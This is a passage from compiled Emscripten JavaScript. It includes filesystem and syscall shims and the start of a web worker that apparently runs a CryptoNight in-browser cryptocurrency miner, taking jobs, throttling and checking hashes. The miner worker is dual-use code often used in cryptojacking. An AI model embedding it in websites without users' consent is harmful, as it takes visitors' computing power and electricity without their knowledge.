  4605. Browser.asyncLoad(url, (function(byteArray) {
  4606. processData(byteArray)
  4607. }), onerror)
  4608. } else {
  4609. processData(url)
  4610. }
  4611. }),
  4612. indexedDB: (function() {
  4613. return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB
  4614. }),
  4615. DB_NAME: (function() {
  4616. return "EM_FS_" + window.location.pathname
  4617. }),
  4618. DB_VERSION: 20,
  4619. DB_STORE_NAME: "FILE_DATA",
  4620. saveFilesToDB: (function(paths, onload, onerror) {
  4621. onload = onload || (function() {});
  4622. onerror = onerror || (function() {});
  4623. var indexedDB = FS.indexedDB();
  4624. try {
  4625. var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
  4626. } catch (e) {
  4627. return onerror(e)
  4628. }
  4629. openRequest.onupgradeneeded = function openRequest_onupgradeneeded() {
  4630. console.log("creating db");
  4631. var db = openRequest.result;
  4632. db.createObjectStore(FS.DB_STORE_NAME)
  4633. };
  4634. openRequest.onsuccess = function openRequest_onsuccess() {
  4635. var db = openRequest.result;
  4636. var transaction = db.transaction([FS.DB_STORE_NAME], "readwrite");
  4637. var files = transaction.objectStore(FS.DB_STORE_NAME);
  4638. var ok = 0,
  4639. fail = 0,
  4640. total = paths.length;
  4641.  
  4642. function finish() {
  4643. if (fail == 0) onload();
  4644. else onerror()
  4645. }
  4646. paths.forEach((function(path) {
  4647. var putRequest = files.put(FS.analyzePath(path).object.contents, path);
  4648. putRequest.onsuccess = function putRequest_onsuccess() {
  4649. ok++;
  4650. if (ok + fail == total) finish()
  4651. };
  4652. putRequest.onerror = function putRequest_onerror() {
  4653. fail++;
  4654. if (ok + fail == total) finish()
  4655. }
  4656. }));
  4657. transaction.onerror = onerror
  4658. };
  4659. openRequest.onerror = onerror
  4660. }),
  4661. loadFilesFromDB: (function(paths, onload, onerror) {
  4662. onload = onload || (function() {});
  4663. onerror = onerror || (function() {});
  4664. var indexedDB = FS.indexedDB();
  4665. try {
  4666. var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION)
  4667. } catch (e) {
  4668. return onerror(e)
  4669. }
  4670. openRequest.onupgradeneeded = onerror;
  4671. openRequest.onsuccess = function openRequest_onsuccess() {
  4672. var db = openRequest.result;
  4673. try {
  4674. var transaction = db.transaction([FS.DB_STORE_NAME], "readonly")
  4675. } catch (e) {
  4676. onerror(e);
  4677. return
  4678. }
  4679. var files = transaction.objectStore(FS.DB_STORE_NAME);
  4680. var ok = 0,
  4681. fail = 0,
  4682. total = paths.length;
  4683.  
  4684. function finish() {
  4685. if (fail == 0) onload();
  4686. else onerror()
  4687. }
  4688. paths.forEach((function(path) {
  4689. var getRequest = files.get(path);
  4690. getRequest.onsuccess = function getRequest_onsuccess() {
  4691. if (FS.analyzePath(path).exists) {
  4692. FS.unlink(path)
  4693. }
  4694. FS.createDataFile(PATH.dirname(path), PATH.basename(path), getRequest.result, true, true, true);
  4695. ok++;
  4696. if (ok + fail == total) finish()
  4697. };
  4698. getRequest.onerror = function getRequest_onerror() {
  4699. fail++;
  4700. if (ok + fail == total) finish()
  4701. }
  4702. }));
  4703. transaction.onerror = onerror
  4704. };
  4705. openRequest.onerror = onerror
  4706. })
  4707. };
  4708. var SYSCALLS = {
  4709. DEFAULT_POLLMASK: 5,
  4710. mappings: {},
  4711. umask: 511,
  4712. calculateAt: (function(dirfd, path) {
  4713. if (path[0] !== "/") {
  4714. var dir;
  4715. if (dirfd === -100) {
  4716. dir = FS.cwd()
  4717. } else {
  4718. var dirstream = FS.getStream(dirfd);
  4719. if (!dirstream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4720. dir = dirstream.path
  4721. }
  4722. path = PATH.join2(dir, path)
  4723. }
  4724. return path
  4725. }),
  4726. doStat: (function(func, path, buf) {
  4727. try {
  4728. var stat = func(path)
  4729. } catch (e) {
  4730. if (e && e.node && PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node))) {
  4731. return -ERRNO_CODES.ENOTDIR
  4732. }
  4733. throw e
  4734. }
  4735. HEAP32[buf >> 2] = stat.dev;
  4736. HEAP32[buf + 4 >> 2] = 0;
  4737. HEAP32[buf + 8 >> 2] = stat.ino;
  4738. HEAP32[buf + 12 >> 2] = stat.mode;
  4739. HEAP32[buf + 16 >> 2] = stat.nlink;
  4740. HEAP32[buf + 20 >> 2] = stat.uid;
  4741. HEAP32[buf + 24 >> 2] = stat.gid;
  4742. HEAP32[buf + 28 >> 2] = stat.rdev;
  4743. HEAP32[buf + 32 >> 2] = 0;
  4744. HEAP32[buf + 36 >> 2] = stat.size;
  4745. HEAP32[buf + 40 >> 2] = 4096;
  4746. HEAP32[buf + 44 >> 2] = stat.blocks;
  4747. HEAP32[buf + 48 >> 2] = stat.atime.getTime() / 1e3 | 0;
  4748. HEAP32[buf + 52 >> 2] = 0;
  4749. HEAP32[buf + 56 >> 2] = stat.mtime.getTime() / 1e3 | 0;
  4750. HEAP32[buf + 60 >> 2] = 0;
  4751. HEAP32[buf + 64 >> 2] = stat.ctime.getTime() / 1e3 | 0;
  4752. HEAP32[buf + 68 >> 2] = 0;
  4753. HEAP32[buf + 72 >> 2] = stat.ino;
  4754. return 0
  4755. }),
  4756. doMsync: (function(addr, stream, len, flags) {
  4757. var buffer = new Uint8Array(HEAPU8.subarray(addr, addr + len));
  4758. FS.msync(stream, buffer, 0, len, flags)
  4759. }),
  4760. doMkdir: (function(path, mode) {
  4761. path = PATH.normalize(path);
  4762. if (path[path.length - 1] === "/") path = path.substr(0, path.length - 1);
  4763. FS.mkdir(path, mode, 0);
  4764. return 0
  4765. }),
  4766. doMknod: (function(path, mode, dev) {
  4767. switch (mode & 61440) {
  4768. case 32768:
  4769. case 8192:
  4770. case 24576:
  4771. case 4096:
  4772. case 49152:
  4773. break;
  4774. default:
  4775. return -ERRNO_CODES.EINVAL
  4776. }
  4777. FS.mknod(path, mode, dev);
  4778. return 0
  4779. }),
  4780. doReadlink: (function(path, buf, bufsize) {
  4781. if (bufsize <= 0) return -ERRNO_CODES.EINVAL;
  4782. var ret = FS.readlink(path);
  4783. var len = Math.min(bufsize, lengthBytesUTF8(ret));
  4784. var endChar = HEAP8[buf + len];
  4785. stringToUTF8(ret, buf, bufsize + 1);
  4786. HEAP8[buf + len] = endChar;
  4787. return len
  4788. }),
  4789. doAccess: (function(path, amode) {
  4790. if (amode & ~7) {
  4791. return -ERRNO_CODES.EINVAL
  4792. }
  4793. var node;
  4794. var lookup = FS.lookupPath(path, {
  4795. follow: true
  4796. });
  4797. node = lookup.node;
  4798. var perms = "";
  4799. if (amode & 4) perms += "r";
  4800. if (amode & 2) perms += "w";
  4801. if (amode & 1) perms += "x";
  4802. if (perms && FS.nodePermissions(node, perms)) {
  4803. return -ERRNO_CODES.EACCES
  4804. }
  4805. return 0
  4806. }),
  4807. doDup: (function(path, flags, suggestFD) {
  4808. var suggest = FS.getStream(suggestFD);
  4809. if (suggest) FS.close(suggest);
  4810. return FS.open(path, flags, 0, suggestFD, suggestFD).fd
  4811. }),
  4812. doReadv: (function(stream, iov, iovcnt, offset) {
  4813. var ret = 0;
  4814. for (var i = 0; i < iovcnt; i++) {
  4815. var ptr = HEAP32[iov + i * 8 >> 2];
  4816. var len = HEAP32[iov + (i * 8 + 4) >> 2];
  4817. var curr = FS.read(stream, HEAP8, ptr, len, offset);
  4818. if (curr < 0) return -1;
  4819. ret += curr;
  4820. if (curr < len) break
  4821. }
  4822. return ret
  4823. }),
  4824. doWritev: (function(stream, iov, iovcnt, offset) {
  4825. var ret = 0;
  4826. for (var i = 0; i < iovcnt; i++) {
  4827. var ptr = HEAP32[iov + i * 8 >> 2];
  4828. var len = HEAP32[iov + (i * 8 + 4) >> 2];
  4829. var curr = FS.write(stream, HEAP8, ptr, len, offset);
  4830. if (curr < 0) return -1;
  4831. ret += curr
  4832. }
  4833. return ret
  4834. }),
  4835. varargs: 0,
  4836. get: (function(varargs) {
  4837. SYSCALLS.varargs += 4;
  4838. var ret = HEAP32[SYSCALLS.varargs - 4 >> 2];
  4839. return ret
  4840. }),
  4841. getStr: (function() {
  4842. var ret = Pointer_stringify(SYSCALLS.get());
  4843. return ret
  4844. }),
  4845. getStreamFromFD: (function() {
  4846. var stream = FS.getStream(SYSCALLS.get());
  4847. if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4848. return stream
  4849. }),
  4850. getSocketFromFD: (function() {
  4851. var socket = SOCKFS.getSocket(SYSCALLS.get());
  4852. if (!socket) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4853. return socket
  4854. }),
  4855. getSocketAddress: (function(allowNull) {
  4856. var addrp = SYSCALLS.get(),
  4857. addrlen = SYSCALLS.get();
  4858. if (allowNull && addrp === 0) return null;
  4859. var info = __read_sockaddr(addrp, addrlen);
  4860. if (info.errno) throw new FS.ErrnoError(info.errno);
  4861. info.addr = DNS.lookup_addr(info.addr) || info.addr;
  4862. return info
  4863. }),
  4864. get64: (function() {
  4865. var low = SYSCALLS.get(),
  4866. high = SYSCALLS.get();
  4867. if (low >= 0) assert(high === 0);
  4868. else assert(high === -1);
  4869. return low
  4870. }),
  4871. getZero: (function() {
  4872. assert(SYSCALLS.get() === 0)
  4873. })
  4874. };
  4875.  
  4876. function ___syscall20(which, varargs) {
  4877. SYSCALLS.varargs = varargs;
  4878. try {
  4879. return PROCINFO.pid
  4880. } catch (e) {
  4881. if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4882. return -e.errno
  4883. }
  4884. }
  4885. var ___tm_current = STATICTOP;
  4886. STATICTOP += 48;
  4887. var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC);
  4888.  
  4889. function _gmtime_r(time, tmPtr) {
  4890. var date = new Date(HEAP32[time >> 2] * 1e3);
  4891. HEAP32[tmPtr >> 2] = date.getUTCSeconds();
  4892. HEAP32[tmPtr + 4 >> 2] = date.getUTCMinutes();
  4893. HEAP32[tmPtr + 8 >> 2] = date.getUTCHours();
  4894. HEAP32[tmPtr + 12 >> 2] = date.getUTCDate();
  4895. HEAP32[tmPtr + 16 >> 2] = date.getUTCMonth();
  4896. HEAP32[tmPtr + 20 >> 2] = date.getUTCFullYear() - 1900;
  4897. HEAP32[tmPtr + 24 >> 2] = date.getUTCDay();
  4898. HEAP32[tmPtr + 36 >> 2] = 0;
  4899. HEAP32[tmPtr + 32 >> 2] = 0;
  4900. var start = Date.UTC(date.getUTCFullYear(), 0, 1, 0, 0, 0, 0);
  4901. var yday = (date.getTime() - start) / (1e3 * 60 * 60 * 24) | 0;
  4902. HEAP32[tmPtr + 28 >> 2] = yday;
  4903. HEAP32[tmPtr + 40 >> 2] = ___tm_timezone;
  4904. return tmPtr
  4905. }
  4906.  
  4907. function _gmtime(time) {
  4908. return _gmtime_r(time, ___tm_current)
  4909. }
  4910.  
  4911. function ___lock() {}
  4912.  
  4913. function ___unlock() {}
  4914.  
  4915. function ___syscall6(which, varargs) {
  4916. SYSCALLS.varargs = varargs;
  4917. try {
  4918. var stream = SYSCALLS.getStreamFromFD();
  4919. FS.close(stream);
  4920. return 0
  4921. } catch (e) {
  4922. if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4923. return -e.errno
  4924. }
  4925. }
  4926.  
  4927. function _emscripten_memcpy_big(dest, src, num) {
  4928. HEAPU8.set(HEAPU8.subarray(src, src + num), dest);
  4929. return dest
  4930. }
  4931.  
  4932. function _ftime(p) {
  4933. var millis = Date.now();
  4934. HEAP32[p >> 2] = millis / 1e3 | 0;
  4935. HEAP16[p + 4 >> 1] = millis % 1e3;
  4936. HEAP16[p + 6 >> 1] = 0;
  4937. HEAP16[p + 8 >> 1] = 0;
  4938. return 0
  4939. }
  4940.  
  4941. function ___syscall140(which, varargs) {
  4942. SYSCALLS.varargs = varargs;
  4943. try {
  4944. var stream = SYSCALLS.getStreamFromFD(),
  4945. offset_high = SYSCALLS.get(),
  4946. offset_low = SYSCALLS.get(),
  4947. result = SYSCALLS.get(),
  4948. whence = SYSCALLS.get();
  4949. var offset = offset_low;
  4950. FS.llseek(stream, offset, whence);
  4951. HEAP32[result >> 2] = stream.position;
  4952. if (stream.getdents && offset === 0 && whence === 0) stream.getdents = null;
  4953. return 0
  4954. } catch (e) {
  4955. if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4956. return -e.errno
  4957. }
  4958. }
  4959.  
  4960. function ___syscall146(which, varargs) {
  4961. SYSCALLS.varargs = varargs;
  4962. try {
  4963. var stream = SYSCALLS.getStreamFromFD(),
  4964. iov = SYSCALLS.get(),
  4965. iovcnt = SYSCALLS.get();
  4966. return SYSCALLS.doWritev(stream, iov, iovcnt)
  4967. } catch (e) {
  4968. if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  4969. return -e.errno
  4970. }
  4971. }
  4972.  
  4973. function ___syscall54(which, varargs) {
  4974. SYSCALLS.varargs = varargs;
  4975. try {
  4976. var stream = SYSCALLS.getStreamFromFD(),
  4977. op = SYSCALLS.get();
  4978. switch (op) {
  4979. case 21505:
  4980. {
  4981. if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4982. return 0
  4983. };
  4984. case 21506:
  4985. {
  4986. if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4987. return 0
  4988. };
  4989. case 21519:
  4990. {
  4991. if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4992. var argp = SYSCALLS.get();HEAP32[argp >> 2] = 0;
  4993. return 0
  4994. };
  4995. case 21520:
  4996. {
  4997. if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  4998. return -ERRNO_CODES.EINVAL
  4999. };
  5000. case 21531:
  5001. {
  5002. var argp = SYSCALLS.get();
  5003. return FS.ioctl(stream, op, argp)
  5004. };
  5005. case 21523:
  5006. {
  5007. if (!stream.tty) return -ERRNO_CODES.ENOTTY;
  5008. return 0
  5009. };
  5010. default:
  5011. abort("bad ioctl syscall " + op)
  5012. }
  5013. } catch (e) {
  5014. if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e);
  5015. return -e.errno
  5016. }
  5017. }
  5018. FS.staticInit();
  5019. __ATINIT__.unshift((function() {
  5020. if (!Module["noFSInit"] && !FS.init.initialized) FS.init()
  5021. }));
  5022. __ATMAIN__.push((function() {
  5023. FS.ignorePermissions = false
  5024. }));
  5025. __ATEXIT__.push((function() {
  5026. FS.quit()
  5027. }));
  5028. Module["FS_createFolder"] = FS.createFolder;
  5029. Module["FS_createPath"] = FS.createPath;
  5030. Module["FS_createDataFile"] = FS.createDataFile;
  5031. Module["FS_createPreloadedFile"] = FS.createPreloadedFile;
  5032. Module["FS_createLazyFile"] = FS.createLazyFile;
  5033. Module["FS_createLink"] = FS.createLink;
  5034. Module["FS_createDevice"] = FS.createDevice;
  5035. Module["FS_unlink"] = FS.unlink;
  5036. __ATINIT__.unshift((function() {
  5037. TTY.init()
  5038. }));
  5039. __ATEXIT__.push((function() {
  5040. TTY.shutdown()
  5041. }));
  5042. if (ENVIRONMENT_IS_NODE) {
  5043. var fs = require("fs");
  5044. var NODEJS_PATH = require("path");
  5045. NODEFS.staticInit()
  5046. }
  5047. DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC);
  5048. STACK_BASE = STACKTOP = Runtime.alignMemory(STATICTOP);
  5049. STACK_MAX = STACK_BASE + TOTAL_STACK;
  5050. DYNAMIC_BASE = Runtime.alignMemory(STACK_MAX);
  5051. HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE;
  5052. staticSealed = true;
  5053. Module["wasmTableSize"] = 14;
  5054. Module["wasmMaxTableSize"] = 14;
  5055.  
  5056. function invoke_ii(index, a1) {
  5057. try {
  5058. return Module["dynCall_ii"](index, a1)
  5059. } catch (e) {
  5060. if (typeof e !== "number" && e !== "longjmp") throw e;
  5061. Module["setThrew"](1, 0)
  5062. }
  5063. }
  5064.  
  5065. function invoke_iiii(index, a1, a2, a3) {
  5066. try {
  5067. return Module["dynCall_iiii"](index, a1, a2, a3)
  5068. } catch (e) {
  5069. if (typeof e !== "number" && e !== "longjmp") throw e;
  5070. Module["setThrew"](1, 0)
  5071. }
  5072. }
  5073.  
  5074. function invoke_viii(index, a1, a2, a3) {
  5075. try {
  5076. Module["dynCall_viii"](index, a1, a2, a3)
  5077. } catch (e) {
  5078. if (typeof e !== "number" && e !== "longjmp") throw e;
  5079. Module["setThrew"](1, 0)
  5080. }
  5081. }
  5082. Module.asmGlobalArg = {
  5083. "Math": Math,
  5084. "Int8Array": Int8Array,
  5085. "Int16Array": Int16Array,
  5086. "Int32Array": Int32Array,
  5087. "Uint8Array": Uint8Array,
  5088. "Uint16Array": Uint16Array,
  5089. "Uint32Array": Uint32Array,
  5090. "Float32Array": Float32Array,
  5091. "Float64Array": Float64Array,
  5092. "NaN": NaN,
  5093. "Infinity": Infinity
  5094. };
  5095. Module.asmLibraryArg = {
  5096. "abort": abort,
  5097. "assert": assert,
  5098. "enlargeMemory": enlargeMemory,
  5099. "getTotalMemory": getTotalMemory,
  5100. "abortOnCannotGrowMemory": abortOnCannotGrowMemory,
  5101. "invoke_ii": invoke_ii,
  5102. "invoke_iiii": invoke_iiii,
  5103. "invoke_viii": invoke_viii,
  5104. "_gmtime_r": _gmtime_r,
  5105. "_gmtime": _gmtime,
  5106. "___lock": ___lock,
  5107. "___syscall6": ___syscall6,
  5108. "___setErrNo": ___setErrNo,
  5109. "___unlock": ___unlock,
  5110. "_ftime": _ftime,
  5111. "_emscripten_memcpy_big": _emscripten_memcpy_big,
  5112. "___syscall54": ___syscall54,
  5113. "___syscall140": ___syscall140,
  5114. "___syscall20": ___syscall20,
  5115. "___assert_fail": ___assert_fail,
  5116. "___syscall146": ___syscall146,
  5117. "DYNAMICTOP_PTR": DYNAMICTOP_PTR,
  5118. "tempDoublePtr": tempDoublePtr,
  5119. "ABORT": ABORT,
  5120. "STACKTOP": STACKTOP,
  5121. "STACK_MAX": STACK_MAX
  5122. };
  5123. var asm = Module["asm"](Module.asmGlobalArg, Module.asmLibraryArg, buffer);
  5124. Module["asm"] = asm;
  5125. var _cryptonight_hash = Module["_cryptonight_hash"] = (function() {
  5126. return Module["asm"]["_cryptonight_hash"].apply(null, arguments)
  5127. });
  5128. var getTempRet0 = Module["getTempRet0"] = (function() {
  5129. return Module["asm"]["getTempRet0"].apply(null, arguments)
  5130. });
  5131. var _free = Module["_free"] = (function() {
  5132. return Module["asm"]["_free"].apply(null, arguments)
  5133. });
  5134. var runPostSets = Module["runPostSets"] = (function() {
  5135. return Module["asm"]["runPostSets"].apply(null, arguments)
  5136. });
  5137. var setTempRet0 = Module["setTempRet0"] = (function() {
  5138. return Module["asm"]["setTempRet0"].apply(null, arguments)
  5139. });
  5140. var establishStackSpace = Module["establishStackSpace"] = (function() {
  5141. return Module["asm"]["establishStackSpace"].apply(null, arguments)
  5142. });
  5143. var _memmove = Module["_memmove"] = (function() {
  5144. return Module["asm"]["_memmove"].apply(null, arguments)
  5145. });
  5146. var stackSave = Module["stackSave"] = (function() {
  5147. return Module["asm"]["stackSave"].apply(null, arguments)
  5148. });
  5149. var _memset = Module["_memset"] = (function() {
  5150. return Module["asm"]["_memset"].apply(null, arguments)
  5151. });
  5152. var _malloc = Module["_malloc"] = (function() {
  5153. return Module["asm"]["_malloc"].apply(null, arguments)
  5154. });
  5155. var _cryptonight_create = Module["_cryptonight_create"] = (function() {
  5156. return Module["asm"]["_cryptonight_create"].apply(null, arguments)
  5157. });
  5158. var _memcpy = Module["_memcpy"] = (function() {
  5159. return Module["asm"]["_memcpy"].apply(null, arguments)
  5160. });
  5161. var _emscripten_get_global_libc = Module["_emscripten_get_global_libc"] = (function() {
  5162. return Module["asm"]["_emscripten_get_global_libc"].apply(null, arguments)
  5163. });
  5164. var stackAlloc = Module["stackAlloc"] = (function() {
  5165. return Module["asm"]["stackAlloc"].apply(null, arguments)
  5166. });
  5167. var setThrew = Module["setThrew"] = (function() {
  5168. return Module["asm"]["setThrew"].apply(null, arguments)
  5169. });
  5170. var _sbrk = Module["_sbrk"] = (function() {
  5171. return Module["asm"]["_sbrk"].apply(null, arguments)
  5172. });
  5173. var _fflush = Module["_fflush"] = (function() {
  5174. return Module["asm"]["_fflush"].apply(null, arguments)
  5175. });
  5176. var stackRestore = Module["stackRestore"] = (function() {
  5177. return Module["asm"]["stackRestore"].apply(null, arguments)
  5178. });
  5179. var _cryptonight_destroy = Module["_cryptonight_destroy"] = (function() {
  5180. return Module["asm"]["_cryptonight_destroy"].apply(null, arguments)
  5181. });
  5182. var ___errno_location = Module["___errno_location"] = (function() {
  5183. return Module["asm"]["___errno_location"].apply(null, arguments)
  5184. });
  5185. var dynCall_ii = Module["dynCall_ii"] = (function() {
  5186. return Module["asm"]["dynCall_ii"].apply(null, arguments)
  5187. });
  5188. var dynCall_iiii = Module["dynCall_iiii"] = (function() {
  5189. return Module["asm"]["dynCall_iiii"].apply(null, arguments)
  5190. });
  5191. var dynCall_viii = Module["dynCall_viii"] = (function() {
  5192. return Module["asm"]["dynCall_viii"].apply(null, arguments)
  5193. });
  5194. Runtime.stackAlloc = Module["stackAlloc"];
  5195. Runtime.stackSave = Module["stackSave"];
  5196. Runtime.stackRestore = Module["stackRestore"];
  5197. Runtime.establishStackSpace = Module["establishStackSpace"];
  5198. Runtime.setTempRet0 = Module["setTempRet0"];
  5199. Runtime.getTempRet0 = Module["getTempRet0"];
  5200. Module["asm"] = asm;
  5201. if (memoryInitializer) {
  5202. if (typeof Module["locateFile"] === "function") {
  5203. memoryInitializer = Module["locateFile"](memoryInitializer)
  5204. } else if (Module["memoryInitializerPrefixURL"]) {
  5205. memoryInitializer = Module["memoryInitializerPrefixURL"] + memoryInitializer
  5206. }
  5207. if (ENVIRONMENT_IS_NODE || ENVIRONMENT_IS_SHELL) {
  5208. var data = Module["readBinary"](memoryInitializer);
  5209. HEAPU8.set(data, Runtime.GLOBAL_BASE)
  5210. } else {
  5211. addRunDependency("memory initializer");
  5212. var applyMemoryInitializer = (function(data) {
  5213. if (data.byteLength) data = new Uint8Array(data);
  5214. HEAPU8.set(data, Runtime.GLOBAL_BASE);
  5215. if (Module["memoryInitializerRequest"]) delete Module["memoryInitializerRequest"].response;
  5216. removeRunDependency("memory initializer")
  5217. });
  5218.  
  5219. function doBrowserLoad() {
  5220. Module["readAsync"](memoryInitializer, applyMemoryInitializer, (function() {
  5221. throw "could not load memory initializer " + memoryInitializer
  5222. }))
  5223. }
  5224. if (Module["memoryInitializerRequest"]) {
  5225. function useRequest() {
  5226. var request = Module["memoryInitializerRequest"];
  5227. if (request.status !== 200 && request.status !== 0) {
  5228. console.warn("a problem seems to have happened with Module.memoryInitializerRequest, status: " + request.status + ", retrying " + memoryInitializer);
  5229. doBrowserLoad();
  5230. return
  5231. }
  5232. applyMemoryInitializer(request.response)
  5233. }
  5234. if (Module["memoryInitializerRequest"].response) {
  5235. setTimeout(useRequest, 0)
  5236. } else {
  5237. Module["memoryInitializerRequest"].addEventListener("load", useRequest)
  5238. }
  5239. } else {
  5240. doBrowserLoad()
  5241. }
  5242. }
  5243. }
  5244.  
  5245. function ExitStatus(status) {
  5246. this.name = "ExitStatus";
  5247. this.message = "Program terminated with exit(" + status + ")";
  5248. this.status = status
  5249. }
  5250. ExitStatus.prototype = new Error;
  5251. ExitStatus.prototype.constructor = ExitStatus;
  5252. var initialStackTop;
  5253. var preloadStartTime = null;
  5254. var calledMain = false;
  5255. dependenciesFulfilled = function runCaller() {
  5256. if (!Module["calledRun"]) run();
  5257. if (!Module["calledRun"]) dependenciesFulfilled = runCaller
  5258. };
  5259. Module["callMain"] = Module.callMain = function callMain(args) {
  5260. args = args || [];
  5261. ensureInitRuntime();
  5262. var argc = args.length + 1;
  5263.  
  5264. function pad() {
  5265. for (var i = 0; i < 4 - 1; i++) {
  5266. argv.push(0)
  5267. }
  5268. }
  5269. var argv = [allocate(intArrayFromString(Module["thisProgram"]), "i8", ALLOC_NORMAL)];
  5270. pad();
  5271. for (var i = 0; i < argc - 1; i = i + 1) {
  5272. argv.push(allocate(intArrayFromString(args[i]), "i8", ALLOC_NORMAL));
  5273. pad()
  5274. }
  5275. argv.push(0);
  5276. argv = allocate(argv, "i32", ALLOC_NORMAL);
  5277. try {
  5278. var ret = Module["_main"](argc, argv, 0);
  5279. exit(ret, true)
  5280. } catch (e) {
  5281. if (e instanceof ExitStatus) {
  5282. return
  5283. } else if (e == "SimulateInfiniteLoop") {
  5284. Module["noExitRuntime"] = true;
  5285. return
  5286. } else {
  5287. var toLog = e;
  5288. if (e && typeof e === "object" && e.stack) {
  5289. toLog = [e, e.stack]
  5290. }
  5291. Module.printErr("exception thrown: " + toLog);
  5292. Module["quit"](1, e)
  5293. }
  5294. } finally {
  5295. calledMain = true
  5296. }
  5297. };
  5298.  
  5299. function run(args) {
  5300. args = args || Module["arguments"];
  5301. if (preloadStartTime === null) preloadStartTime = Date.now();
  5302. if (runDependencies > 0) {
  5303. return
  5304. }
  5305. preRun();
  5306. if (runDependencies > 0) return;
  5307. if (Module["calledRun"]) return;
  5308.  
  5309. function doRun() {
  5310. if (Module["calledRun"]) return;
  5311. Module["calledRun"] = true;
  5312. if (ABORT) return;
  5313. ensureInitRuntime();
  5314. preMain();
  5315. if (Module["onRuntimeInitialized"]) Module["onRuntimeInitialized"]();
  5316. if (Module["_main"] && shouldRunNow) Module["callMain"](args);
  5317. postRun()
  5318. }
  5319. if (Module["setStatus"]) {
  5320. Module["setStatus"]("Running...");
  5321. setTimeout((function() {
  5322. setTimeout((function() {
  5323. Module["setStatus"]("")
  5324. }), 1);
  5325. doRun()
  5326. }), 1)
  5327. } else {
  5328. doRun()
  5329. }
  5330. }
  5331. Module["run"] = Module.run = run;
  5332.  
  5333. function exit(status, implicit) {
  5334. if (implicit && Module["noExitRuntime"]) {
  5335. return
  5336. }
  5337. if (Module["noExitRuntime"]) {} else {
  5338. ABORT = true;
  5339. EXITSTATUS = status;
  5340. STACKTOP = initialStackTop;
  5341. exitRuntime();
  5342. if (Module["onExit"]) Module["onExit"](status)
  5343. }
  5344. if (ENVIRONMENT_IS_NODE) {
  5345. process["exit"](status)
  5346. }
  5347. Module["quit"](status, new ExitStatus(status))
  5348. }
  5349. Module["exit"] = Module.exit = exit;
  5350. var abortDecorators = [];
  5351.  
  5352. function abort(what) {
  5353. if (Module["onAbort"]) {
  5354. Module["onAbort"](what)
  5355. }
  5356. if (what !== undefined) {
  5357. Module.print(what);
  5358. Module.printErr(what);
  5359. what = JSON.stringify(what)
  5360. } else {
  5361. what = ""
  5362. }
  5363. ABORT = true;
  5364. EXITSTATUS = 1;
  5365. var extra = "\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information.";
  5366. var output = "abort(" + what + ") at " + stackTrace() + extra;
  5367. if (abortDecorators) {
  5368. abortDecorators.forEach((function(decorator) {
  5369. output = decorator(output, what)
  5370. }))
  5371. }
  5372. throw output
  5373. }
  5374. Module["abort"] = Module.abort = abort;
  5375. if (Module["preInit"]) {
  5376. if (typeof Module["preInit"] == "function") Module["preInit"] = [Module["preInit"]];
  5377. while (Module["preInit"].length > 0) {
  5378. Module["preInit"].pop()()
  5379. }
  5380. }
  5381. var shouldRunNow = true;
  5382. if (Module["noInitialRun"]) {
  5383. shouldRunNow = false
  5384. }
  5385. run();
  5386. var CryptonightWASMWrapper = (function() {
  5387. this.ctx = _cryptonight_create();
  5388. this.throttleWait = 0;
  5389. this.throttledStart = 0;
  5390. this.throttledHashes = 0;
  5391. this.workThrottledBound = this.workThrottled.bind(this);
  5392. this.currentJob = null;
  5393. this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]);
  5394. var heap = Module.HEAPU8.buffer;
  5395. this.input = new Uint8Array(heap, Module._malloc(84), 84);
  5396. this.output = new Uint8Array(heap, Module._malloc(32), 32);
  5397. self.postMessage("ready");
  5398. self.onmessage = this.onMessage.bind(this)
  5399. });
  5400. CryptonightWASMWrapper.prototype.onMessage = (function(msg) {
  5401. var job = msg.data;
  5402. if (job.verify_id) {
  5403. this.verify(job);
  5404. return
  5405. }
  5406. if (!this.currentJob || this.currentJob.job_id !== job.job_id) {
  5407. this.setJob(job)
  5408. }
  5409. if (job.throttle) {
  5410. this.throttleWait = 1 / (1 - job.throttle) - 1;
  5411. this.throttledStart = this.now();
  5412. this.throttledHashes = 0;
  5413. this.workThrottled()
  5414. } else {
  5415. this.work()
  5416. }
  5417. });
  5418. CryptonightWASMWrapper.prototype.destroy = (function() {
  5419. _cryptonight_destroy(this.ctx)
  5420. });
  5421. CryptonightWASMWrapper.prototype.hexToBytes = (function(hex, bytes) {
  5422. var bytes = new Uint8Array(hex.length / 2);
  5423. for (var i = 0, c = 0; c < hex.length; c += 2, i++) {
  5424. bytes[i] = parseInt(hex.substr(c, 2), 16)
  5425. }
  5426. return bytes
  5427. });
  5428. CryptonightWASMWrapper.prototype.bytesToHex = (function(bytes) {
  5429. for (var hex = "", i = 0; i < bytes.length; i++) {
  5430. hex += (bytes[i] >>> 4).toString(16);
  5431. hex += (bytes[i] & 15).toString(16)
  5432. }
  5433. return hex
  5434. });
  5435. CryptonightWASMWrapper.prototype.meetsTarget = (function(hash, target) {
  5436. for (var i = 0; i < target.length; i++) {
  5437. var hi = hash.length - i - 1,
  5438. ti = target.length - i - 1;
  5439. if (hash[hi] > target[ti]) {
  5440. return false
  5441. } else if (hash[hi] < target[ti]) {
  5442. return true
  5443. }
  5444. }
  5445. return false
  5446. });
  5447. CryptonightWASMWrapper.prototype.setJob = (function(job) {
  5448. this.currentJob = job;
